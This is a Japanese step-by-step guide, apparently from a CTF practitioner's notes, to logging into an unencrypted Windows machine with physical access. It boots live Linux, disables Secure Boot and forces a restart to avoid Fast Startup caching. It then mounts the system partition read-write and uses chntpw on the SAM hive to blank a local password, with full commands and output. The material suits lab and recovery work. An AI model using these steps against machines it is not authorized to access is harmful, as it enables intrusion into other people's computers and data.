物理アクセス：暗号化無しの Windows にログインする方法

1. Live Linux を用意する

Live Linux の用意の仕方は割愛。 CTF をしたことがある人であれば、誰しもが作り方をどこかで学んでいるため

2. Secure Boot を切る

この後に用意する Live Linux の EFI ローダに署名が無いときは、ファームウェアで Secure Boot を切る。

Device Manager → Secure Boot Configuration → Attempt Secure Boot のチェックを外す → F10 で保存 → Reset

3. Windows を完全終了させる

ディスクが「高速スタートアップ」の設定をしている場合は、再起動を実行する

1. Windows の起動時に Esc を連打し、Boot Manager で Windows Boot Manager を選ぶ
2. サインイン画面まで待つ。パスワードは入れない
3. 右下の電源から 再起動 を選ぶ
4. もう一度 Esc を連打し、今度は Live Linux を選ぶ

肝は「再起動」

Windows の場合、高速スタートアップの設定がされていると、シャットダウン時にカーネルをキャッシュとして保存する。その状態では、ローカルアカウントのパスワードを書き換えても、次回の起動時に、キャッシュ情報がディスクに戻り、書き換えたパスワードが上書きされてしまう。

4. C: を書き込みでマウント

# 対象ディスクを確認
Ch4n24n@htb[/htb]$ lsblk -f
NAME   FSTYPE FSVER     LABEL
sda
├─sda1 vfat   FAT32     SYSTEM
├─sda2
├─sda3 ntfs             Windows
└─sda4 ntfs
 
# ディスクをマウント。Label が `Windows` のディスクを選ぶ
Ch4n24n@htb[/htb]$ sudo mkdir -p /mnt/win
Ch4n24n@htb[/htb]$ sudo ntfs-3g /dev/[partition] /mnt/win
 
# マウントされたかを確認
Ch4n24n@htb[/htb]$ mount | grep /mnt/win
/dev/sda3 on /mnt/win type fuseblk (rw,relatime,user_id=0,group_id=0,allow_other,blksize=4096)
# rw なら成功

ro や Operation not permitted のとき

手順 2 の再起動からやり直す。remove_hiberfile では足りない。

5. SAM を書き換える

Ch4n24n@htb[/htb]$ cd /mnt/win/Windows/System32/config
 
# ユーザの一覧を表示
Ch4n24n@htb[/htb]$ sudo chntpw -l SAM
 
# ユーザのパスワードをリセット
Ch4n24n@htb[/htb]$ sudo chntpw -u [user] SAM
# 1 でパスワードを空にする → q → Write hive files? に y
 
# アンマウント
Ch4n24n@htb[/htb]$ cd
Ch4n24n@htb[/htb]$ sudo umount /mnt/win

6. 空パスワードでログインする

Live Linux を終了して Windows を起動する。 対象ユーザを選び、パスワード欄は空のまま Enter

参考

• 2026-11-13-shadow
• Fast startup causes hibernation or shutdown to fail — Fast Startup は Restart に効かない
• NTFS-3G FAQ — Shutdown / Sleep のあとは書き込み拒否、Restart のあとは安全